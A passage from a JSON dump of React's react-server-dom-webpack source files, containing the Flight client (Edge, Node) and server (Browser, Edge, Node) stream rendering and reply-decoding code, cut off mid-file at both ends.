instead.',\n  );\n}\n\nexport function createServerReference<A: Iterable<any>, T>(\n  id: any,\n  callServer: any,\n): (...A) => Promise<T> {\n  return createServerReferenceImpl(id, noServerCall);\n}\n\ntype EncodeFormActionCallback = <A>(\n  id: any,\n  args: Promise<A>,\n) => ReactCustomFormAction;\n\nexport type Options = {\n  serverConsumerManifest: ServerConsumerManifest,\n  nonce?: string,\n  encodeFormAction?: EncodeFormActionCallback,\n  temporaryReferences?: TemporaryReferenceSet,\n  unstable_allowPartialStream?: boolean,\n  findSourceMapURL?: FindSourceMapURLCallback,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n  // For the Edge client we only support a single-direction debug channel.\n  debugChannel?: {readable?: ReadableStream, ...},\n};\n\nfunction createResponseFromOptions(options: Options) {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {\n          hasReadable: options.debugChannel.readable !== undefined,\n          callback: null,\n        }\n      : undefined;\n\n  return createResponse(\n    options.serverConsumerManifest.moduleMap,\n    options.serverConsumerManifest.serverModuleMap,\n    options.serverConsumerManifest.moduleLoading,\n    noServerCall,\n    options.encodeFormAction,\n    typeof options.nonce === 'string' ? options.nonce : undefined,\n    options && options.temporaryReferences\n      ? options.temporaryReferences\n      : undefined,\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ && options && options.findSourceMapURL\n      ? options.findSourceMapURL\n      : undefined,\n    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n}\n\nfunction startReadingFromStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n  debugValue: mixed,\n): void {\n  const streamState = createStreamState(response, debugValue);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    const buffer: Uint8Array = (value: any);\n    processBinaryChunk(response, streamState, buffer);\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction createFromReadableStream<T>(\n  stream: ReadableStream,\n  options: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n\n  if (\n    __DEV__ &&\n    options &&\n    options.debugChannel &&\n    options.debugChannel.readable\n  ) {\n    let streamDoneCount = 0;\n    const handleDone = () => {\n      if (++streamDoneCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromStream(response, options.debugChannel.readable, handleDone);\n    startReadingFromStream(response, stream, handleDone, stream);\n  } else {\n    startReadingFromStream(\n      response,\n      stream,\n      close.bind(null, response),\n      stream,\n    );\n  }\n\n  return getRoot(response);\n}\n\nfunction createFromFetch<T>(\n  promiseForResponse: Promise<Response>,\n  options: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  promiseForResponse.then(\n    function (r) {\n      if (\n        __DEV__ &&\n        options &&\n        options.debugChannel &&\n        options.debugChannel.readable\n      ) {\n        let streamDoneCount = 0;\n        const handleDone = () => {\n          if (++streamDoneCount === 2) {\n            close(response);\n          }\n        };\n        startReadingFromStream(\n          response,\n          options.debugChannel.readable,\n          handleDone,\n        );\n        startReadingFromStream(response, (r.body: any), handleDone, r);\n      } else {\n        startReadingFromStream(\n          response,\n          (r.body: any),\n          close.bind(null, response),\n          r,\n        );\n      }\n    },\n    function (e) {\n      reportGlobalError(response, e);\n    },\n  );\n  return getRoot(response);\n}\n\nfunction encodeReply(\n  value: ReactServerValue,\n  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},\n): Promise<\n  string | URLSearchParams | FormData,\n> /* We don't use URLSearchParams yet but maybe */ {\n  return new Promise((resolve, reject) => {\n    const abort = processReply(\n      value,\n      '',\n      options && options.temporaryReferences\n        ? options.temporaryReferences\n        : undefined,\n      resolve,\n      reject,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort((signal: any).reason);\n      } else {\n        const listener = () => {\n          abort((signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n  });\n}\n\nexport {createFromFetch, createFromReadableStream, encodeReply};\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/client/ReactFlightDOMClientNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';\n\nimport type {\n  DebugChannel,\n  FindSourceMapURLCallback,\n  Response,\n} from 'react-client/src/ReactFlightClient';\n\nimport type {\n  ServerConsumerModuleMap,\n  ModuleLoading,\n  ServerManifest,\n} from 'react-client/src/ReactFlightClientConfig';\n\ntype ServerConsumerManifest = {\n  moduleMap: ServerConsumerModuleMap,\n  moduleLoading: ModuleLoading,\n  serverModuleMap: null | ServerManifest,\n};\n\nimport type {Readable} from 'stream';\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processStringChunk,\n  processBinaryChunk,\n  close,\n} from 'react-client/src/ReactFlightClient';\n\nexport * from './ReactFlightDOMClientEdge';\n\nfunction noServerCall() {\n  throw new Error(\n    'Server Functions cannot be called during initial render. ' +\n      'This would create a fetch waterfall. Try to use a Server Component ' +\n      'to pass data to Client Components instead.',\n  );\n}\n\ntype EncodeFormActionCallback = <A>(\n  id: any,\n  args: Promise<A>,\n) => ReactCustomFormAction;\n\nexport type Options = {\n  nonce?: string,\n  encodeFormAction?: EncodeFormActionCallback,\n  unstable_allowPartialStream?: boolean,\n  findSourceMapURL?: FindSourceMapURLCallback,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n  // For the Node.js client we only support a single-direction debug channel.\n  debugChannel?: Readable,\n};\n\nfunction startReadingFromStream(\n  response: Response,\n  stream: Readable,\n  onEnd: () => void,\n): void {\n  const streamState = createStreamState(response, stream);\n\n  stream.on('data', chunk => {\n    if (typeof chunk === 'string') {\n      processStringChunk(response, streamState, chunk);\n    } else {\n      processBinaryChunk(response, streamState, chunk);\n    }\n  });\n\n  stream.on('error', error => {\n    reportGlobalError(response, error);\n  });\n\n  stream.on('end', onEnd);\n}\n\nfunction createFromNodeStream<T>(\n  stream: Readable,\n  serverConsumerManifest: ServerConsumerManifest,\n  options?: Options,\n): Thenable<T> {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {hasReadable: true, callback: null}\n      : undefined;\n\n  const response: Response = createResponse(\n    serverConsumerManifest.moduleMap,\n    serverConsumerManifest.serverModuleMap,\n    serverConsumerManifest.moduleLoading,\n    noServerCall,\n    options ? options.encodeFormAction : undefined,\n    options && typeof options.nonce === 'string' ? options.nonce : undefined,\n    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ && options && options.findSourceMapURL\n      ? options.findSourceMapURL\n      : undefined,\n    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n\n  if (__DEV__ && options && options.debugChannel) {\n    let streamEndedCount = 0;\n    const handleEnd = () => {\n      if (++streamEndedCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromStream(response, options.debugChannel, handleEnd);\n    startReadingFromStream(response, stream, handleEnd);\n  } else {\n    startReadingFromStream(response, stream, close.bind(null, response));\n  }\n\n  return getRoot(response);\n}\n\nexport {createFromNodeStream};\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/client/react-flight-dom-client.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactFlightDOMClientBrowser';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/client/react-flight-dom-client.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactFlightDOMClientEdge';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/client/react-flight-dom-client.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactFlightDOMClientNode';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/server/ReactFlightDOMServerBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  ReactClientValue,\n} from 'react-server/src/ReactFlightServer';\nimport type {Thenable} from 'shared/ReactTypes';\nimport type {ClientManifest} from './ReactFlightServerConfigWebpackBundler';\nimport type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';\n\nimport {\n  createRequest,\n  createPrerenderRequest,\n  startWork,\n  startFlowing,\n  startFlowingDebug,\n  stopFlowing,\n  abort,\n  resolveDebugMessage,\n  closeDebugChannel,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse,\n  close,\n  getRoot,\n} from 'react-server/src/ReactFlightReplyServer';\n\nimport {\n  decodeAction,\n  decodeFormState,\n} from 'react-server/src/ReactFlightActionServer';\n\nexport {\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n} from '../ReactFlightWebpackReferences';\n\nimport {\n  createStringDecoder,\n  readPartialStringChunk,\n  readFinalStringChunk,\n} from 'react-client/src/ReactFlightClientStreamConfigWeb';\n\nimport type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\ntype Options = {\n  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  identifierPrefix?: string,\n  signal?: AbortSignal,\n  temporaryReferences?: TemporaryReferenceSet,\n  onError?: (error: mixed) => void,\n  startTime?: number,\n};\n\nfunction startReadingFromDebugChannelReadableStream(\n  request: Request,\n  stream: ReadableStream,\n): void {\n  const reader = stream.getReader();\n  const stringDecoder = createStringDecoder();\n  let stringBuffer = '';\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    const buffer: Uint8Array = (value: any);\n    stringBuffer += done\n      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))\n      : readPartialStringChunk(stringDecoder, buffer);\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n    if (done) {\n      closeDebugChannel(request);\n      return;\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: e,\n      }),\n    );\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction renderToReadableStream(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: Options,\n): ReadableStream {\n  const debugChannelReadable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.readable\n      : undefined;\n  const debugChannelWritable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.writable\n      : undefined;\n  const request = createRequest(\n    model,\n    webpackMap,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  if (options && options.signal) {\n    const signal = options.signal;\n    if (signal.aborted) {\n      abort(request, (signal: any).reason);\n    } else {\n      const listener = () => {\n        abort(request, (signal: any).reason);\n        signal.removeEventListener('abort', listener);\n      };\n      signal.addEventListener('abort', listener);\n    }\n  }\n  if (debugChannelWritable !== undefined) {\n    const debugStream = new ReadableStream(\n      {\n        type: 'bytes',\n        pull: (controller): ?Promise<void> => {\n          startFlowingDebug(request, controller);\n        },\n      },\n      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n      {highWaterMark: 0},\n    );\n    debugStream.pipeTo(debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);\n  }\n  const stream = new ReadableStream(\n    {\n      type: 'bytes',\n      start: (controller): ?Promise<void> => {\n        startWork(request);\n      },\n      pull: (controller): ?Promise<void> => {\n        startFlowing(request, controller);\n      },\n      cancel: (reason): ?Promise<void> => {\n        stopFlowing(request);\n        abort(request, reason);\n      },\n    },\n    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n    {highWaterMark: 0},\n  );\n  return stream;\n}\n\ntype StaticResult = {\n  prelude: ReadableStream,\n};\n\nfunction prerender(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: Options,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n      resolve({prelude: stream});\n    }\n    const request = createPrerenderRequest(\n      model,\n      webpackMap,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction decodeReply<T>(\n  body: string | FormData,\n  webpackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  if (typeof body === 'string') {\n    const form = new FormData();\n    form.append('0', body);\n    body = form;\n  }\n  const response = createResponse(\n    webpackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    body,\n    options ? options.arraySizeLimit : undefined,\n  );\n  const root = getRoot<T>(response);\n  close(response);\n  return root;\n}\n\nexport {\n  renderToReadableStream,\n  prerender,\n  decodeReply,\n  decodeAction,\n  decodeFormState,\n};\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/server/ReactFlightDOMServerEdge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  ReactClientValue,\n} from 'react-server/src/ReactFlightServer';\nimport type {Thenable} from 'shared/ReactTypes';\nimport type {ClientManifest} from './ReactFlightServerConfigWebpackBundler';\nimport type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';\n\nimport {ASYNC_ITERATOR} from 'shared/ReactSymbols';\n\nimport {\n  createRequest,\n  createPrerenderRequest,\n  startWork,\n  startFlowing,\n  startFlowingDebug,\n  stopFlowing,\n  abort,\n  resolveDebugMessage,\n  closeDebugChannel,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse,\n  close,\n  getRoot,\n  reportGlobalError,\n  resolveField,\n  resolveFile,\n} from 'react-server/src/ReactFlightReplyServer';\n\nimport {\n  decodeAction,\n  decodeFormState,\n} from 'react-server/src/ReactFlightActionServer';\n\nexport {\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n} from '../ReactFlightWebpackReferences';\n\nimport {\n  createStringDecoder,\n  readPartialStringChunk,\n  readFinalStringChunk,\n} from 'react-client/src/ReactFlightClientStreamConfigWeb';\n\nimport type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\ntype Options = {\n  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  identifierPrefix?: string,\n  signal?: AbortSignal,\n  temporaryReferences?: TemporaryReferenceSet,\n  onError?: (error: mixed) => void,\n  startTime?: number,\n};\n\nfunction startReadingFromDebugChannelReadableStream(\n  request: Request,\n  stream: ReadableStream,\n): void {\n  const reader = stream.getReader();\n  const stringDecoder = createStringDecoder();\n  let stringBuffer = '';\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    const buffer: Uint8Array = (value: any);\n    stringBuffer += done\n      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))\n      : readPartialStringChunk(stringDecoder, buffer);\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n    if (done) {\n      closeDebugChannel(request);\n      return;\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: e,\n      }),\n    );\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction renderToReadableStream(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: Options,\n): ReadableStream {\n  const debugChannelReadable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.readable\n      : undefined;\n  const debugChannelWritable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.writable\n      : undefined;\n  const request = createRequest(\n    model,\n    webpackMap,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  if (options && options.signal) {\n    const signal = options.signal;\n    if (signal.aborted) {\n      abort(request, (signal: any).reason);\n    } else {\n      const listener = () => {\n        abort(request, (signal: any).reason);\n        signal.removeEventListener('abort', listener);\n      };\n      signal.addEventListener('abort', listener);\n    }\n  }\n  if (debugChannelWritable !== undefined) {\n    const debugStream = new ReadableStream(\n      {\n        type: 'bytes',\n        pull: (controller): ?Promise<void> => {\n          startFlowingDebug(request, controller);\n        },\n      },\n      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n      {highWaterMark: 0},\n    );\n    debugStream.pipeTo(debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);\n  }\n  const stream = new ReadableStream(\n    {\n      type: 'bytes',\n      start: (controller): ?Promise<void> => {\n        startWork(request);\n      },\n      pull: (controller): ?Promise<void> => {\n        startFlowing(request, controller);\n      },\n      cancel: (reason): ?Promise<void> => {\n        stopFlowing(request);\n        abort(request, reason);\n      },\n    },\n    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n    {highWaterMark: 0},\n  );\n  return stream;\n}\n\ntype StaticResult = {\n  prelude: ReadableStream,\n};\n\nfunction prerender(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: Options,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n      resolve({prelude: stream});\n    }\n    const request = createPrerenderRequest(\n      model,\n      webpackMap,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction decodeReply<T>(\n  body: string | FormData,\n  webpackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  if (typeof body === 'string') {\n    const form = new FormData();\n    form.append('0', body);\n    body = form;\n  }\n  const response = createResponse(\n    webpackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    body,\n    options ? options.arraySizeLimit : undefined,\n  );\n  const root = getRoot<T>(response);\n  close(response);\n  return root;\n}\n\nfunction decodeReplyFromAsyncIterable<T>(\n  iterable: AsyncIterable<[string, string | File]>,\n  webpackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  const iterator: AsyncIterator<[string, string | File]> =\n    iterable[ASYNC_ITERATOR]();\n\n  const response = createResponse(\n    webpackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    undefined,\n    options ? options.arraySizeLimit : undefined,\n  );\n\n  function progress(\n    entry:\n      | {done: false, +value: [string, string | File], ...}\n      | {done: true, +value: void, ...},\n  ) {\n    if (entry.done) {\n      close(response);\n    } else {\n      const [name, value] = entry.value;\n      if (typeof value === 'string') {\n        resolveField(response, name, value);\n      } else {\n        resolveFile(response, name, value);\n      }\n      iterator.next().then(progress, error);\n    }\n  }\n  function error(reason: Error) {\n    reportGlobalError(response, reason);\n    if (typeof (iterator: any).throw === 'function') {\n      // The iterator protocol doesn't necessarily include this but a generator do.\n      // $FlowFixMe should be able to pass mixed\n      iterator.throw(reason).then(error, error);\n    }\n  }\n\n  iterator.next().then(progress, error);\n\n  return getRoot(response);\n}\n\nexport {\n  renderToReadableStream,\n  prerender,\n  decodeReply,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n};\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  ReactClientValue,\n} from 'react-server/src/ReactFlightServer';\nimport type {Destination} from 'react-server/src/ReactServerStreamConfigNode';\nimport type {ClientManifest} from './ReactFlightServerConfigWebpackBundler';\nimport type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';\nimport type {Busboy} from 'busboy';\nimport type {Writable} from 'stream';\nimport type {Thenable} from 'shared/ReactTypes';\n\nimport type {Duplex} from 'stream';\n\nimport {Readable} from 'stream';\n\nimport {ASYNC_ITERATOR} from 'shared/ReactSymbols';\n\nimport {\n  createRequest,\n  createPrerenderRequest,\n  startWork,\n  startFlowing,\n  startFlowingDebug,\n  stopFlowing,\n  abort,\n  resolveDebugMessage,\n  closeDebugChannel,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse,\n  reportGlobalError,\n  close,\n  resolveField,\n  resolveFile,\n  resolveFileInfo,\n  resolveFileChunk,\n  resolveFileComplete,\n  getRoot,\n} from 'react-server/src/ReactFlightReplyServer';\n\nimport {\n  decodeAction,\n  decodeFormState,\n} from 'react-server/src/ReactFlightActionServer';\n\nexport {\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n} from '../ReactFlightWebpackReferences';\n\nimport {\n  createStringDecoder,\n  readPartialStringChunk,\n  readFinalStringChunk,\n} from 'react-client/src/ReactFlightClientStreamConfigNode';\n\nimport {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';\n\nimport type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\nfunction createDrainHandler(destination: Destination, request: Request) {\n  return () => startFlowing(request, destination);\n}\n\nfunction createCancelHandler(request: Request, reason: string) {\n  return () => {\n    stopFlowing(request);\n    abort(request, new Error(reason));\n  };\n}\n\nfunction startReadingFromDebugChannelReadable(\n  request: Request,\n  stream: Readable | WebSocket,\n): void {\n  const stringDecoder = createStringDecoder();\n  let lastWasPartial = false;\n  let stringBuffer = '';\n  function onData(chunk: string | Uint8Array) {\n    if (typeof chunk === 'string') {\n      if (lastWasPartial) {\n        stringBuffer += readFinalStringChunk(stringDecoder, new Uint8Array(0));\n        lastWasPartial = false;\n      }\n      stringBuffer += chunk;\n    } else {\n      const buffer: Uint8Array = (chunk: any);\n      stringBuffer += readPartialStringChunk(stringDecoder, buffer);\n      lastWasPartial = true;\n    }\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n  }\n  function onError(error: mixed) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: error,\n      }),\n    );\n  }\n  function onClose() {\n    closeDebugChannel(request);\n  }\n  if (\n    // $FlowFixMe[method-unbinding]\n    typeof stream.addEventListener === 'function' &&\n    // $FlowFixMe[method-unbinding]\n    typeof stream.binaryType === 'string'\n  ) {\n    const ws: WebSocket = (stream: any);\n    ws.binaryType = 'arraybuffer';\n    ws.addEventListener('message', event => {\n      // $FlowFixMe\n      onData(event.data);\n    });\n    ws.addEventListener('error', event => {\n      // $FlowFixMe\n      onError(event.error);\n    });\n    ws.addEventListener('close', onClose);\n  } else {\n    const readable: Readable = (stream: any);\n    readable.on('data', onData);\n    readable.on('error', onError);\n    readable.on('end', onClose);\n  }\n}\n\ntype Options = {\n  debugChannel?: Readable | Writable | Duplex | WebSocket,\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  onError?: (error: mixed) => void,\n  identifierPrefix?: string,\n  temporaryReferences?: TemporaryReferenceSet,\n  startTime?: number,\n};\n\ntype PipeableStream = {\n  abort(reason: mixed): void,\n  pipe<T: Writable>(destination: T): T,\n};\n\nfunction renderToPipeableStream(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: Options,\n): PipeableStream {\n  const debugChannel = __DEV__ && options ? options.debugChannel : undefined;\n  const debugChannelReadable: void | Readable | WebSocket =\n    __DEV__ &&\n    debugChannel !== undefined &&\n    // $FlowFixMe[method-unbinding]\n    (typeof debugChannel.read === 'function' ||\n      typeof debugChannel.readyState === 'number')\n      ? (debugChannel: any)\n      : undefined;\n  const debugChannelWritable: void | Writable =\n    __DEV__ && debugChannel !== undefined\n      ? // $FlowFixMe[method-unbinding]\n        typeof debugChannel.write === 'function'\n        ? (debugChannel: any)\n        : // $FlowFixMe[method-unbinding]\n          typeof debugChannel.send === 'function'\n          ? createFakeWritableFromWebSocket((debugChannel: any))\n          : undefined\n      : undefined;\n  const request = createRequest(\n    model,\n    webpackMap,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  let hasStartedFlowing = false;\n  startWork(request);\n  if (debugChannelWritable !== undefined) {\n    startFlowingDebug(request, debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadable(request, debugChannelReadable);\n  }\n  return {\n    pipe<T: Writable>(destination: T): T {\n      if (hasStartedFlowing) {\n        throw new Error(\n          'React currently only supports piping to one writable stream.',\n        );\n      }\n      hasStartedFlowing = true;\n      startFlowing(request, destination);\n      destination.on('drain', createDrainHandler(destination, request));\n      destination.on(\n        'error',\n        createCancelHandler(\n          request,\n          'The destination stream errored while writing data.',\n        ),\n      );\n      // We don't close until the debug channel closes.\n      if (!__DEV__ || debugChannelReadable === undefined) {\n        destination.on(\n          'close',\n          createCancelHandler(request, 'The destination stream closed early.'),\n        );\n      }\n      return destination;\n    },\n    abort(reason: mixed) {\n      abort(request, reason);\n    